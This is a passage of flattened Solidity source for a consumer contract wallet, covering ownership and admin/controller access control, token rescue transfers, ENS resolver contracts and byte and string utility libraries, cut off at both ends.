// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: transferrable.sol
/**
* Transferrable - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title SafeTransfer, allowing contract to withdraw tokens accidentally sent to itself
contract Transferrable {
using SafeERC20 for ERC20;
/// @dev This function is used to move tokens sent accidentally to this contract method.
/// @dev The owner can chose the new destination address
/// @param _to is the recipient's address.
/// @param _asset is the address of an ERC20 token or 0x0 for ether.
/// @param _amount is the amount to be transferred in base units.
function _safeTransfer(address payable _to, address _asset, uint _amount) internal {
// address(0) is used to denote ETH
if (_asset == address(0)) {
_to.transfer(_amount);
} else {
ERC20(_asset).safeTransfer(_to, _amount);
}
}
}
// File: balanceable.sol
/**
* Balanceable - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title Balanceable - This is a contract used to get a balance
contract Balanceable {
/// @dev This function is used to get a balance
/// @param _address of which balance we are trying to ascertain
/// @param _asset is the address of an ERC20 token or 0x0 for ether.
/// @return balance associated with an address, for any token, in the wei equivalent
function _balance(address _address, address _asset) internal view returns (uint) {
if (_asset != address(0)) {
return ERC20(_asset).balanceOf(_address);
} else {
return _address.balance;
}
}
}
// File: burner.sol
/**
* IBurner - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
// The BurnerToken interface is the interface to a token contract which
// provides the total burnable supply for the TokenHolder contract.
interface IBurner {
function currentSupply() external view returns (uint);
}
// File: ownable.sol
/**
* Ownable - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title Ownable has an owner address and provides basic authorization control functions.
/// This contract is modified version of the MIT OpenZepplin Ownable contract
/// This contract allows for the transferOwnership operation to be made impossible
/// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
contract Ownable {
event TransferredOwnership(address _from, address _to);
event LockedOwnership(address _locked);
address payable private _owner;
bool private _isTransferable;
/// @notice Constructor sets the original owner of the contract and whether or not it is one time transferable.
constructor(address payable _account_, bool _transferable_) internal {
_owner = _account_;
_isTransferable = _transferable_;
// Emit the LockedOwnership event if no longer transferable.
if (!_isTransferable) {
emit LockedOwnership(_account_);
}
emit TransferredOwnership(address(0), _account_);
}
/// @notice Reverts if called by any account other than the owner.
modifier onlyOwner() {
require(_isOwner(msg.sender), "sender is not an owner");
_;
}
/// @notice Allows the current owner to transfer control of the contract to a new address.
/// @param _account address to transfer ownership to.
/// @param _transferable indicates whether to keep the ownership transferable.
function transferOwnership(address payable _account, bool _transferable) external onlyOwner {
// Require that the ownership is transferable.
require(_isTransferable, "ownership is not transferable");
// Require that the new owner is not the zero address.
require(_account != address(0), "owner cannot be set to zero address");
// Set the transferable flag to the value _transferable passed in.
_isTransferable = _transferable;
// Emit the LockedOwnership event if no longer transferable.
if (!_transferable) {
emit LockedOwnership(_account);
}
// Emit the ownership transfer event.
emit TransferredOwnership(_owner, _account);
// Set the owner to the provided address.
_owner = _account;
}
/// @notice check if the ownership is transferable.
/// @return true if the ownership is transferable.
function isTransferable() external view returns (bool) {
return _isTransferable;
}
/// @notice Allows the current owner to relinquish control of the contract.
/// @dev Renouncing to ownership will leave the contract without an owner and unusable.
/// @dev It will not be possible to call the functions with the `onlyOwner` modifier anymore.
function renounceOwnership() external onlyOwner {
// Require that the ownership is transferable.
require(_isTransferable, "ownership is not transferable");
// note that this could be terminal
_owner = address(0);
emit TransferredOwnership(_owner, address(0));
}
/// @notice Find out owner address
/// @return address of the owner.
function owner() public view returns (address payable) {
return _owner;
}
/// @notice Check if owner address
/// @return true if sender is the owner of the contract.
function _isOwner(address _address) internal view returns (bool) {
return _address == _owner;
}
}
// File: controller.sol
/**
* Controller - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title The IController interface provides access to the isController and isAdmin checks.
interface IController {
function isController(address) external view returns (bool);
function isAdmin(address) external view returns (bool);
}
/// @title Controller stores a list of controller addresses that can be used for authentication in other contracts.
/// @notice The Controller implements a hierarchy of concepts, Owner, Admin, and the Controllers.
/// @dev Owner can change the Admins
/// @dev Admins and can the Controllers
/// @dev Controllers are used by the application.
contract Controller is IController, Ownable, Transferrable {
event AddedController(address _sender, address _controller);
event RemovedController(address _sender, address _controller);
event AddedAdmin(address _sender, address _admin);
event RemovedAdmin(address _sender, address _admin);
event Claimed(address _to, address _asset, uint _amount);
event Stopped(address _sender);
event Started(address _sender);
mapping (address => bool) private _isAdmin;
uint private _adminCount;
mapping (address => bool) private _isController;
uint private _controllerCount;
bool private _stopped;
/// @notice Constructor initializes the owner with the provided address.
/// @param _ownerAddress_ address of the owner.
constructor(address payable _ownerAddress_) Ownable(_ownerAddress_, false) public {}
/// @notice Checks if message sender is an admin.
modifier onlyAdmin() {
require(isAdmin(msg.sender), "sender is not an admin");
_;
}
/// @notice Check if Owner or Admin
modifier onlyAdminOrOwner() {
require(_isOwner(msg.sender) || isAdmin(msg.sender), "sender is not an admin");
_;
}
/// @notice Check if controller is stopped
modifier notStopped() {
require(!isStopped(), "controller is stopped");
_;
}
/// @notice Add a new admin to the list of admins.
/// @param _account address to add to the list of admins.
function addAdmin(address _account) external onlyOwner notStopped {
_addAdmin(_account);
}
/// @notice Remove a admin from the list of admins.
/// @param _account address to remove from the list of admins.
function removeAdmin(address _account) external onlyOwner {
_removeAdmin(_account);
}
/// @return the current number of admins.
function adminCount() external view returns (uint) {
return _adminCount;
}
/// @notice Add a new controller to the list of controllers.
/// @param _account address to add to the list of controllers.
function addController(address _account) external onlyAdminOrOwner notStopped {
_addController(_account);
}
/// @notice Remove a controller from the list of controllers.
/// @param _account address to remove from the list of controllers.
function removeController(address _account) external onlyAdminOrOwner {
_removeController(_account);
}
/// @notice count the Controllers
/// @return the current number of controllers.
function controllerCount() external view returns (uint) {
return _controllerCount;
}
/// @notice is an address an Admin?
/// @return true if the provided account is an admin.
function isAdmin(address _account) public view notStopped returns (bool) {
return _isAdmin[_account];
}
/// @notice is an address a Controller?
/// @return true if the provided account is a controller.
function isController(address _account) public view notStopped returns (bool) {
return _isController[_account];
}
/// @notice this function can be used to see if the controller has been stopped
/// @return true is the Controller has been stopped
function isStopped() public view returns (bool) {
return _stopped;
}
/// @notice Internal-only function that adds a new admin.
function _addAdmin(address _account) private {
require(!_isAdmin[_account], "provided account is already an admin");
require(!_isController[_account], "provided account is already a controller");
require(!_isOwner(_account), "provided account is already the owner");
require(_account != address(0), "provided account is the zero address");
_isAdmin[_account] = true;
_adminCount++;
emit AddedAdmin(msg.sender, _account);
}
/// @notice Internal-only function that removes an existing admin.
function _removeAdmin(address _account) private {
require(_isAdmin[_account], "provided account is not an admin");
_isAdmin[_account] = false;
_adminCount--;
emit RemovedAdmin(msg.sender, _account);
}
/// @notice Internal-only function that adds a new controller.
function _addController(address _account) private {
require(!_isAdmin[_account], "provided account is already an admin");
require(!_isController[_account], "provided account is already a controller");
require(!_isOwner(_account), "provided account is already the owner");
require(_account != address(0), "provided account is the zero address");
_isController[_account] = true;
_controllerCount++;
emit AddedController(msg.sender, _account);
}
/// @notice Internal-only function that removes an existing controller.
function _removeController(address _account) private {
require(_isController[_account], "provided account is not a controller");
_isController[_account] = false;
_controllerCount--;
emit RemovedController(msg.sender, _account);
}
/// @notice stop our controllers and admins from being useable
function stop() external onlyAdminOrOwner {
_stopped = true;
emit Stopped(msg.sender);
}
/// @notice start our controller again
function start() external onlyOwner {
_stopped = false;
emit Started(msg.sender);
}
//// @notice Withdraw tokens from the smart contract to the specified account.
function claim(address payable _to, address _asset, uint _amount) external onlyAdmin notStopped {
_safeTransfer(_to, _asset, _amount);
emit Claimed(_to, _asset, _amount);
}
}
// File: ENS.sol
/**
* BSD 2-Clause License
*
* Copyright (c) 2018, True Names Limited
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
pragma solidity ^0.5.0;
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
// File: ResolverBase.sol
pragma solidity ^0.5.0;
contract ResolverBase {
bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7;
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == INTERFACE_META_ID;
}
function isAuthorised(bytes32 node) internal view returns(bool);
modifier authorised(bytes32 node) {
require(isAuthorised(node));
_;
}
}
// File: ABIResolver.sol
pragma solidity ^0.5.0;
contract ABIResolver is ResolverBase {
bytes4 constant private ABI_INTERFACE_ID = 0x2203ab56;
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
mapping(bytes32=>mapping(uint256=>bytes)) abis;
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes calldata data) external authorised(node) {
// Content types must be powers of 2
require(((contentType - 1) & contentType) == 0);
abis[node][contentType] = data;
emit ABIChanged(node, contentType);
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) external view returns (uint256, bytes memory) {
mapping(uint256=>bytes) storage abiset = abis[node];
for (uint256 contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && abiset[contentType].length > 0) {
return (contentType, abiset[contentType]);
}
}
return (0, bytes(""));
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == ABI_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
// File: AddrResolver.sol
pragma solidity ^0.5.0;
contract AddrResolver is ResolverBase {
bytes4 constant private ADDR_INTERFACE_ID = 0x3b3b57de;
event AddrChanged(bytes32 indexed node, address a);
mapping(bytes32=>address) addresses;
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) external authorised(node) {
addresses[node] = addr;
emit AddrChanged(node, addr);
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address) {
return addresses[node];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == ADDR_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
// File: ContentHashResolver.sol
pragma solidity ^0.5.0;
contract ContentHashResolver is ResolverBase {
bytes4 constant private CONTENT_HASH_INTERFACE_ID = 0xbc1c58d1;
event ContenthashChanged(bytes32 indexed node, bytes hash);
mapping(bytes32=>bytes) hashes;
/**
* Sets the contenthash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param hash The contenthash to set
*/
function setContenthash(bytes32 node, bytes calldata hash) external authorised(node) {
hashes[node] = hash;
emit ContenthashChanged(node, hash);
}
/**
* Returns the contenthash associated with an ENS node.
* @param node The ENS node to query.
* @return The associated contenthash.
*/
function contenthash(bytes32 node) external view returns (bytes memory) {
return hashes[node];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == CONTENT_HASH_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
// File: InterfaceResolver.sol
pragma solidity ^0.5.0;
contract InterfaceResolver is ResolverBase, AddrResolver {
bytes4 constant private INTERFACE_INTERFACE_ID = bytes4(keccak256("interfaceImplementer(bytes32,bytes4)"));
bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7;
event InterfaceChanged(bytes32 indexed node, bytes4 indexed interfaceID, address implementer);
mapping(bytes32=>mapping(bytes4=>address)) interfaces;
/**
* Sets an interface associated with a name.
* Setting the address to 0 restores the default behaviour of querying the contract at `addr()` for interface support.
* @param node The node to update.
* @param interfaceID The EIP 168 interface ID.
* @param implementer The address of a contract that implements this interface for this node.
*/
function setInterface(bytes32 node, bytes4 interfaceID, address implementer) external authorised(node) {
interfaces[node][interfaceID] = implementer;
emit InterfaceChanged(node, interfaceID, implementer);
}
/**
* Returns the address of a contract that implements the specified interface for this name.
* If an implementer has not been set for this interfaceID and name, the resolver will query
* the contract at `addr()`. If `addr()` is set, a contract exists at that address, and that
* contract implements EIP168 and returns `true` for the specified interfaceID, its address
* will be returned.
* @param node The ENS node to query.
* @param interfaceID The EIP 168 interface ID to check for.
* @return The address that implements this interface, or 0 if the interface is unsupported.
*/
function interfaceImplementer(bytes32 node, bytes4 interfaceID) external view returns (address) {
address implementer = interfaces[node][interfaceID];
if(implementer != address(0)) {
return implementer;
}
address a = addr(node);
if(a == address(0)) {
return address(0);
}
(bool success, bytes memory returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", INTERFACE_META_ID));
if(!success || returnData.length < 32 || returnData[31] == 0) {
// EIP 168 not supported by target
return address(0);
}
(success, returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", interfaceID));
if(!success || returnData.length < 32 || returnData[31] == 0) {
// Specified interface not supported by target
return address(0);
}
return a;
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == INTERFACE_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
// File: NameResolver.sol
pragma solidity ^0.5.0;
contract NameResolver is ResolverBase {
bytes4 constant private NAME_INTERFACE_ID = 0x691f3431;
event NameChanged(bytes32 indexed node, string name);
mapping(bytes32=>string) names;
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string calldata name) external authorised(node) {
names[node] = name;
emit NameChanged(node, name);
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) external view returns (string memory) {
return names[node];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == NAME_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
// File: PubkeyResolver.sol
pragma solidity ^0.5.0;
contract PubkeyResolver is ResolverBase {
bytes4 constant private PUBKEY_INTERFACE_ID = 0xc8690233;
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
struct PublicKey {
bytes32 x;
bytes32 y;
}
mapping(bytes32=>PublicKey) pubkeys;
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) external authorised(node) {
pubkeys[node] = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) external view returns (bytes32 x, bytes32 y) {
return (pubkeys[node].x, pubkeys[node].y);
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == PUBKEY_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
// File: TextResolver.sol
pragma solidity ^0.5.0;
contract TextResolver is ResolverBase {
bytes4 constant private TEXT_INTERFACE_ID = 0x59d1d43c;
event TextChanged(bytes32 indexed node, string indexedKey, string key);
mapping(bytes32=>mapping(string=>string)) texts;
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string calldata key, string calldata value) external authorised(node) {
texts[node][key] = value;
emit TextChanged(node, key, key);
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string calldata key) external view returns (string memory) {
return texts[node][key];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == TEXT_INTERFACE_ID || super.supportsInterface(interfaceID);
}
}
// File: PublicResolver.sol
/**
* BSD 2-Clause License
*
* Copyright (c) 2018, True Names Limited
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
pragma solidity ^0.5.0;
/**
* A simple resolver anyone can use; only allows the owner of a node to set its
* address.
*/
contract PublicResolver is ABIResolver, AddrResolver, ContentHashResolver, InterfaceResolver, NameResolver, PubkeyResolver, TextResolver {
ENS ens;
/**
* A mapping of authorisations. An address that is authorised for a name
* may make any changes to the name that the owner could, but may not update
* the set of authorisations.
* (node, owner, caller) => isAuthorised
*/
mapping(bytes32=>mapping(address=>mapping(address=>bool))) public authorisations;
event AuthorisationChanged(bytes32 indexed node, address indexed owner, address indexed target, bool isAuthorised);
constructor(ENS _ens) public {
ens = _ens;
}
/**
* @dev Sets or clears an authorisation.
* Authorisations are specific to the caller. Any account can set an authorisation
* for any name, but the authorisation that is checked will be that of the
* current owner of a name. Thus, transferring a name effectively clears any
* existing authorisations, and new authorisations can be set in advance of
* an ownership transfer if desired.
*
* @param node The name to change the authorisation on.
* @param target The address that is to be authorised or deauthorised.
* @param isAuthorised True if the address should be authorised, or false if it should be deauthorised.
*/
function setAuthorisation(bytes32 node, address target, bool isAuthorised) external {
authorisations[node][msg.sender][target] = isAuthorised;
emit AuthorisationChanged(node, msg.sender, target, isAuthorised);
}
function isAuthorised(bytes32 node) internal view returns(bool) {
address owner = ens.owner(node);
return owner == msg.sender || authorisations[node][owner][msg.sender];
}
}
// File: ensResolvable.sol
/**
* ENSResolvable - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
///@title ENSResolvable - Ethereum Name Service Resolver
///@notice contract should be used to get an address for an ENS node
contract ENSResolvable {
/// @notice _ens is an instance of ENS
ENS private _ens;
/// @notice _ensRegistry points to the ENS registry smart contract.
address private _ensRegistry;
/// @param _ensReg_ is the ENS registry used
constructor(address _ensReg_) internal {
_ensRegistry = _ensReg_;
_ens = ENS(_ensRegistry);
}
/// @notice this is used to that one can observe which ENS registry is being used
function ensRegistry() external view returns (address) {
return _ensRegistry;
}
/// @notice helper function used to get the address of a node
/// @param _node of the ENS entry that needs resolving
/// @return the address of the said node
function _ensResolve(bytes32 _node) internal view returns (address) {
return PublicResolver(_ens.resolver(_node)).addr(_node);
}
}
// File: controllable.sol
/**
* Controllable - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title Controllable implements access control functionality of the Controller found via ENS.
contract Controllable is ENSResolvable {
/// @dev Is the registered ENS node identifying the controller contract.
bytes32 private _controllerNode;
/// @notice Constructor initializes the controller contract object.
/// @param _controllerNode_ is the ENS node of the Controller.
constructor(bytes32 _controllerNode_) internal {
_controllerNode = _controllerNode_;
}
/// @notice Checks if message sender is a controller.
modifier onlyController() {
require(_isController(msg.sender), "sender is not a controller");
_;
}
/// @notice Checks if message sender is an admin.
modifier onlyAdmin() {
require(_isAdmin(msg.sender), "sender is not an admin");
_;
}
/// @return the controller node registered in ENS.
function controllerNode() external view returns (bytes32) {
return _controllerNode;
}
/// @return true if the provided account is a controller.
function _isController(address _account) internal view returns (bool) {
return IController(_ensResolve(_controllerNode)).isController(_account);
}
/// @return true if the provided account is an admin.
function _isAdmin(address _account) internal view returns (bool) {
return IController(_ensResolve(_controllerNode)).isAdmin(_account);
}
}
// File: bytesUtils.sol
/**
* BytesUtils - The Consumer Contract Wallet
* Copyright (C) 2019 The Contract Wallet Company Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.5.10;
/// @title BytesUtils provides basic byte slicing and casting functionality.
library BytesUtils {
using SafeMath for uint256;
/// @dev This function converts to an address
/// @param _bts bytes
/// @param _from start position
function _bytesToAddress(bytes memory _bts, uint _from) internal pure returns (address) {
require(_bts.length >= _from.add(20), "slicing out of range");
bytes20 convertedAddress;
uint startByte = _from.add(32); //first 32 bytes denote the array length
assembly {
convertedAddress := mload(add(_bts, startByte))
}
return address(convertedAddress);
}
/// @dev This function slices bytes into bytes4
/// @param _bts some bytes
/// @param _from start position
function _bytesToBytes4(bytes memory _bts, uint _from) internal pure returns (bytes4) {
require(_bts.length >= _from.add(4), "slicing out of range");
bytes4 slicedBytes4;
uint startByte = _from.add(32); //first 32 bytes denote the array length
assembly {
slicedBytes4 := mload(add(_bts, startByte))
}
return slicedBytes4;
}
/// @dev This function slices a uint
/// @param _bts some bytes
/// @param _from start position
// credit to https://ethereum.stackexchange.com/questions/51229/how-to-convert-bytes-to-uint-in-solidity
// and Nick Johnson https://ethereum.stackexchange.com/questions/4170/how-to-convert-a-uint-to-bytes-in-solidity/4177#4177
function _bytesToUint256(bytes memory _bts, uint _from) internal pure returns (uint) {
require(_bts.length >= _from.add(32), "slicing out of range");
uint convertedUint256;
uint startByte = _from.add(32); //first 32 bytes denote the array length
assembly {
convertedUint256 := mload(add(_bts, startByte))
}
return convertedUint256;
}
}
// File: strings.sol
/*
* Copyright 2016 Nick Johnson
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <[email protected]>
*
* @dev Functionality in this library is largely implemented using an
* abstraction called a 'slice'. A slice represents a part of a string -
* anything from the entire string to a single character, or even no
* characters at all (a 0-length slice). Since a slice only has to specify
* an offset and a length, copying and manipulating slices is a lot less
* expensive than copying and manipulating the strings they reference.
*
* To further reduce gas costs, most functions on slice that need to return
* a slice modify the original one instead of allocating a new one; for
* instance, `s.split(".")` will return the text up to the first '.',
* modifying s to only contain the remainder of the string after the '.'.
* In situations where you do not want to modify the original slice, you
* can make a copy first with `.copy()`, for example:
* `s.copy().split(".")`. Try and avoid using this idiom in loops; since
* Solidity has no memory management, it will result in allocating many
* short-lived slices that are later discarded.
*
* Functions that return two slices come in two versions: a non-allocating
* version that takes the second slice as an argument, modifying it in
* place, and an allocating version that allocates and returns the second
* slice; see `nextRune` for example.
*
* Functions that have to copy string data will return strings rather than
* slices; these can be cast back to slices for further processing if
* required.
*
* For convenience, some functions are provided with non-modifying
* variants that create a new slice and return both; for instance,
* `s.splitNew('.')` leaves s unmodified, and returns two values
* corresponding to the left and right parts of the string.
*/
pragma solidity ^0.5.0;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
